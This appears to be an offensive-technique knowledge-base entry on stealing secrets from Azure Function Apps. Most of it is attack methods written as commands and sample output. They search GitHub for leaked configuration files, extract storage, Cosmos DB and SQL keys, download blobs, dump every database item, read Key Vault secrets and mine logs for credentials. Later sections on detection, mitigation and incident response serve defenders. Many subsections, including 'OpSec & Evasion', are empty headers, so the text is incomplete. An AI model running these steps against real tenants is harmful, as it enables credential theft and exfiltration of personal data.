MCADDF

[MISCONFIG-018]: Unprotected Function App Secrets

1. METADATA HEADER

Attribute Details
Technique ID MISCONFIG-018
MITRE ATT&CK v18.1 T1552.001 - Credentials in Files
Tactic Credential Access
Platforms Entra ID, Azure, M365
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure Functions 1.0+ (all runtime versions), Azure App Services, Logic Apps
Patched In Not applicable (configuration vulnerability)
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Concept: Azure Function Apps store connection strings, API keys, and secrets in configuration files (local.settings.json, appsettings.json) and environment variables. If these files are committed to source control repositories (GitHub, Azure Repos), exposed via diagnostic logs, or stored in plaintext without encryption, attackers who enumerate the function app can extract credentials for databases, storage accounts, external APIs, and third-party services. This grants attackers the ability to access backend resources, exfiltrate sensitive data, and pivot to connected systems.

Attack Surface: Azure Function App configuration files, local.settings.json in source repositories, diagnostic logs, connection string settings in Azure Portal, Key Vault references with insufficient access controls, and client application source code.

Business Impact: Full compromise of function app backend resources and lateral movement to connected services. With exposed secrets, attackers can access SQL databases, storage accounts, Cosmos DB, external APIs, and any service the function authenticates to. Compromised database credentials enable data exfiltration; storage account keys permit tampering with critical data; API keys enable unauthorized API calls.

Technical Context: Extraction requires either: (1) access to source control repository containing function code, (2) ability to read Azure Function App configuration in the portal (requires Reader role or higher), (3) access to diagnostic logs or Application Insights data, or (4) ability to execute code within the function app runtime. Detection is difficult because legitimate function operations will mask secret access. Reversibility is low—once external service credentials are compromised, all resources they protect must be assumed breached.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 4.16 (Azure), 2.1.5 (AWS) Ensure that key vault key is managed, ensure resource groups have key vault keys with appropriate expiration policies
DISA STIG SC-7(2), SC-12 Boundary Protection, Cryptographic Key Management
CISA SCuBA CL-CS-5 Cloud Security - Encryption of Data in Transit and at Rest
NIST 800-53 SC-7, SC-12, SC-28 Boundary Protection, Cryptographic Key Management, Protection of Information at Rest
GDPR Art. 32, Art. 33 Security of Processing, Data Breach Notification
DORA Art. 15 ICT Risk Management - Data Protection and Privacy
NIS2 Art. 21 Cyber Risk Management Measures - Cryptography and Key Management
ISO 27001 A.10.1, A.13.1 Cryptography, Cryptographic Controls
ISO 27005 Risk scenario: “Exposure of Cryptographic Keys” Risk of credential compromise due to improper secret management

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


5. DETAILED EXECUTION METHODS AND THEIR STEPS

METHOD 1: Extracting Secrets from GitHub-Exposed Function Code Repository

Supported Versions: All Azure Functions runtime versions

Step 1: Discover Exposed Function Code Repository

Objective: Locate Azure Function App source code committed to a public or insufficiently protected GitHub repository.

Command (GitHub Advanced Search):

# Search GitHub for exposed Azure Function code with secrets
# Using GitHub API or web search with these queries:
# Search for: "local.settings.json" + "github"
# Search for: "appsettings.json" + "functionapp"
# Search for: "AzureWebJobsStorage" + "DefaultEndpointsProtocol"

curl -H "Authorization: token YOUR_GITHUB_TOKEN" \
  "https://api.github.com/search/code?q=AzureWebJobsStorage+filename:local.settings.json"

Expected Output:

{
  "total_count": 42,
  "incomplete_results": false,
  "items": [
    {
      "name": "local.settings.json",
      "path": "FunctionApp/local.settings.json",
      "sha": "abc123def456",
      "url": "https://api.github.com/repos/user/repo/contents/...",
      "repository": {
        "full_name": "user/sensitive-function-app",
        "url": "https://github.com/user/sensitive-function-app"
      }
    }
  ]
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Clone Repository and Examine Configuration Files

Objective: Download the repository and extract secrets from configuration files.

Command (Git Clone & Local Examination):

# Clone repository
git clone https://github.com/user/sensitive-function-app.git
cd sensitive-function-app

# Search for common secret files
find . -name "local.settings.json" -o -name "appsettings.json" -o -name "*.config" | head -20

# Extract secrets from local.settings.json
cat local.settings.json | grep -E "(AzureWebJobs|DefaultEndpointsProtocol|AccountName|AccountKey)"

# Pretty-print JSON to extract all keys
cat local.settings.json | jq '.'

Expected Output:

{
  "IsEncrypted": false,
  "Values": {
    "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=storageaccount123;AccountKey=abc123def456xyz789uvw...==;EndpointSuffix=core.windows.net",
    "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=functionfiles;AccountKey=xyz789abc123...==;",
    "COSMOS_DB_CONNECTION_STRING": "AccountEndpoint=https://cosmosdb-instance.documents.azure.com:443/;AccountKey=secretkey123...==;",
    "ApiKey": "sk-proj-1234567890abcdef..."
  }
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Test Extracted Credentials Against Azure Storage

Objective: Validate that extracted storage account keys grant access to blob storage and databases.

Command (Azure CLI - Test Storage Access):

# Set storage account credentials from extracted keys
export AZURE_STORAGE_ACCOUNT="storageaccount123"
export AZURE_STORAGE_KEY="abc123def456xyz789uvw...=="

# List containers in storage account
az storage container list --account-name $AZURE_STORAGE_ACCOUNT --account-key $AZURE_STORAGE_KEY

# List blobs in a specific container
az storage blob list --account-name $AZURE_STORAGE_ACCOUNT --account-key $AZURE_STORAGE_KEY --container-name "function-data"

# Download a blob (exfiltration example)
az storage blob download --account-name $AZURE_STORAGE_ACCOUNT --account-key $AZURE_STORAGE_KEY \
  --container-name "sensitive-data" --name "data.csv" --file "/tmp/data.csv"

Expected Output:

[
  {
    "name": "function-data",
    "properties": {
      "lastModified": "2025-12-15T10:30:00+00:00",
      "etag": "0x8D123ABC4567",
      "leaseStatus": "unlocked"
    }
  }
]

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 4: Lateral Movement Using Function App Secrets

Objective: Use function app secrets to access connected services (e.g., Cosmos DB, external APIs, database servers).

Command (Cosmos DB Connection String Exploitation):

# Extract Cosmos DB key from configuration
COSMOS_CONNECTION_STRING="AccountEndpoint=https://cosmosdb-instance.documents.azure.com:443/;AccountKey=secretkey123...=="

# Connect using Azure CLI
az cosmosdb list --query "[].name" --out table

# Access Cosmos DB using SDK (Python example)
python3 << 'EOF'
from azure.cosmos import CosmosClient

connection_string = "AccountEndpoint=https://cosmosdb-instance.documents.azure.com:443/;AccountKey=secretkey123...=="
client = CosmosClient.from_connection_string(connection_string)

# List databases
for database in client.list_databases():
    print(f"Database: {database['id']}")
    db_client = client.get_database_client(database['id'])
    
    # List containers (collections)
    for container in db_client.list_containers():
        print(f"  Container: {container['id']}")
        
        # Query all items in container
        items = list(db_client.get_container_client(container['id']).query_items(
            query="SELECT * FROM c"
        ))
        print(f"  Items found: {len(items)}")
        for item in items[:5]:  # First 5 items
            print(f"    {item}")
EOF

Expected Output:

Database: FunctionData
  Container: UserProfiles
  Items found: 10234
    {'id': 'user-001', 'email': 'user@example.com', 'ssn': '123-45-6789', ...}
    ...

What This Means:

OpSec & Evasion:

References & Proofs:


METHOD 2: Extracting Secrets from Azure Function App Configuration via Azure Portal

Supported Versions: All Azure Functions versions

Step 1: Authenticate to Azure Portal with Compromised Credentials

Objective: Gain access to the Azure subscription and function app configuration.

Command (Azure CLI Authentication):

# Authenticate using compromised Azure credentials
az login

# List all function apps in the subscription
az functionapp list --query "[].{name: name, resourceGroup: resourceGroup}" --output table

# Get details of a specific function app
az functionapp show --resource-group "MyResourceGroup" --name "my-function-app" --output json

Expected Output:

Name: my-function-app
ResourceGroup: MyResourceGroup
Location: eastus
AppServicePlanId: /subscriptions/.../appServicePlans/my-plan

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 2: Retrieve Application Settings and Connection Strings

Objective: Export all application settings, connection strings, and environment variables from the function app.

Command (Azure CLI - Extract All Secrets):

# Get all application settings (includes secrets)
az functionapp config appsettings list --resource-group "MyResourceGroup" --name "my-function-app" --output json > /tmp/settings.json

# Get all connection strings
az functionapp config connection-string list --resource-group "MyResourceGroup" --name "my-function-app" --output json > /tmp/connections.json

# Parse and display all secrets
cat /tmp/settings.json | jq '.[] | select(.name | test("Key|Secret|Password|Connection")) | {name: .name, value: .value}'

Expected Output:

{
  "name": "AzureWebJobsStorage",
  "value": "DefaultEndpointsProtocol=https;AccountName=storage123;AccountKey=abc123...=="
},
{
  "name": "COSMOSDB_CONNECTION_STRING",
  "value": "AccountEndpoint=https://cosmosdb.documents.azure.com:443/;AccountKey=xyz789...=="
},
{
  "name": "SQL_CONNECTION_STRING",
  "value": "Server=tcp:sqlserver.database.windows.net,1433;Initial Catalog=MyDatabase;User ID=sqladmin;Password=P@ssw0rd123!=="
}

What This Means:

OpSec & Evasion:

Troubleshooting:

Step 3: Access Azure Key Vault Secrets (If Referenced)

Objective: If function app uses Key Vault references, extract secrets from the vault.

Command (Azure CLI - Key Vault Access):

# List key vaults in the subscription
az keyvault list --query "[].name" --output table

# List secrets in a key vault
az keyvault secret list --vault-name "my-keyvault" --query "[].name" --output table

# Retrieve a specific secret
az keyvault secret show --vault-name "my-keyvault" --name "database-password" --query "value" --output tsv

Expected Output:

database-password
api-key-external
storage-account-key
admin-credentials

What This Means:

OpSec & Evasion:

References & Proofs:


METHOD 3: Extracting Secrets from Application Insights Diagnostic Logs

Supported Versions: All Azure Functions with Application Insights enabled

Step 1: Access Application Insights Data

Objective: Query Application Insights logs to find secrets logged by function code.

Command (Azure CLI - Application Insights Query):

# List Application Insights instances
az monitor app-insights component list --query "[].name" --output table

# Query logs for secrets using Kusto Query Language (KQL)
az monitor app-insights query --app "my-function-insights" \
  --analytics-query '
  traces
  | where message contains "connection" or message contains "key" or message contains "password"
  | project TimeGenerated, message
  | limit 100
  '

Expected Output:

TimeGenerated: 2025-12-15 10:30:45
message: "Connected to Azure Storage: DefaultEndpointsProtocol=https;AccountName=storage123;AccountKey=abc123...=="

TimeGenerated: 2025-12-15 10:31:12
message: "Cosmos DB Connection established with key: xyz789...=="

What This Means:

OpSec & Evasion:

Troubleshooting:


7. TOOLS & COMMANDS REFERENCE

Azure CLI

Version: 2.50+ (current as of January 2026) Minimum Version: 2.0 Supported Platforms: Windows, macOS, Linux

Installation:

# macOS
brew install azure-cli

# Linux
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

# Windows
choco install azure-cli

Usage:

az login  # Authenticate
az functionapp list  # List function apps
az functionapp config appsettings list  # Extract secrets

Azure PowerShell

Version: 9.0+ (current) Minimum Version: 5.0 Supported Platforms: Windows, PowerShell Core 6.0+

Installation:

Install-Module -Name Az -Repository PSGallery -Force
Import-Module Az

Usage:

Connect-AzAccount
Get-AzFunctionApp | Select-Object Name, ResourceGroupName

git-secrets

Version: 1.3.0 Language: Bash

Installation:

git clone https://github.com/awslabs/git-secrets.git
cd git-secrets
sudo make install

Usage:

git secrets --scan  # Scan repository for exposed secrets

9. MICROSOFT SENTINEL DETECTION

Query 1: Detection of Exposed Secrets in Function App Configuration

Rule Configuration:

KQL Query:

AuditLogs
| where TimeGenerated > ago(24h)
| where OperationName has_any ("Update function app configuration", "Update application settings", "Update connection string")
| where Result == "Success"
| where TargetResources[0].displayName contains "functionapp"
| project TimeGenerated, InitiatedBy=InitiatedBy.user.userPrincipalName, Operation=OperationName, FunctionApp=TargetResources[0].displayName, Details=TargetResources[0].modifiedProperties
| where Details contains ("Key" or "Secret" or "Password" or "Connection")

What This Detects:

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select your workspace → Analytics
  3. Click + CreateScheduled query rule
  4. General Tab:
    • Name: Critical - Exposed Secrets in Function App Configuration
    • Severity: Critical
  5. Set rule logic Tab:
    • Paste the KQL query above
    • Run query every: 5 minutes
    • Lookup data from the last: 24 hours
  6. Incident settings Tab:
    • Enable Create incidents
  7. Click Review + create

Query 2: Detection of Application Insights Logs Containing Secrets

Rule Configuration:

KQL Query:

AppTraces
| where TimeGenerated > ago(1h)
| where Message matches regex @"(password|secret|key|token|connection|apikey|AccountKey)" i
| project TimeGenerated, Message, AppName=AppDisplayName, User=UserAuthenticatedId
| union (
  AppExceptions
  | where TimeGenerated > ago(1h)
  | where OuterMessage matches regex @"(password|secret|key|token)" i
  | project TimeGenerated, Message=OuterMessage, AppName=AppDisplayName, User=UserAuthenticatedId
)

What This Detects:


10. WINDOWS EVENT LOG MONITORING

Event ID: 4656 (A handle to an object was requested)


12. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Function App exposing secrets in configuration”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select your subscription
  4. Under Defender plans, enable:
    • Defender for App Service: ON
    • Defender for Key Vault: ON
  5. Click Save
  6. Go to Security alerts to view triggered alerts

14. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening


15. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Isolate: Command (Disable Function App):
    az functionapp stop --resource-group "RG-Name" --name "my-function-app"
    

    Manual (Azure Portal):

    • Go to Function App → Click Stop
  2. Collect Evidence: Command (Export Configuration for Forensics):
    # Export all settings
    az functionapp config appsettings list --resource-group "RG-Name" --name "my-function-app" > /tmp/function_settings_backup.json
       
    # Export Key Vault references
    az keyvault secret list --vault-name "my-keyvault" > /tmp/keyvault_backup.json
       
    # Export audit logs
    az monitor activity-log list --resource-group "RG-Name" --offset 24h > /tmp/activity_logs.json
    
  3. Remediate: Command (Rotate All Exposed Secrets):
    # Rotate storage account keys
    az storage account keys renew --resource-group "RG-Name" --account-name "storageaccount" --key primary
       
    # Rotate database passwords
    # (manual step via Azure Portal or SQL Management Studio)
       
    # Revoke API keys from third-party services
    # (manual step in each service's dashboard)
    
  4. Hunt for Lateral Movement: KQL Query (Detect Storage Account Access via Exposed Key):
    StorageBlobLogs
    | where TimeGenerated > ago(7d)
    | where AuthenticationType == "SharedKey"
    | where CallerIpAddress != "EXPECTED_FUNCTION_IP"
    | summarize Count=count() by CallerIpAddress, UserAgent, OperationName
    | where Count > 100
    

Step Phase Technique Description
1 Reconnaissance [REC-CLOUD-005] Azure Resource Graph Enumeration Attacker enumerates function apps and storage accounts
2 Initial Access [IA-EXPLOIT-003] Logic App HTTP Trigger Abuse Attacker gains access to application endpoints
3 Credential Access [MISCONFIG-018] Unprotected Function App Secrets Attacker extracts secrets from configuration or logs
4 Lateral Movement [LM-AUTH-039] Storage Account Connection String Attacker uses storage account credentials to access databases
5 Persistence Function app modification to create backdoor function Attacker creates persistent HTTP trigger for reverse shell
6 Impact Data exfiltration via compromised storage account Attacker steals sensitive data from databases or blobs

17. REAL-WORLD EXAMPLES

Example 1: GitHub Secret Scanning Alert - Microsoft’s Own Repository

Example 2: Azure Function App Exposed via Public Repository

Example 3: Azure Function App Secrets Logged in Application Insights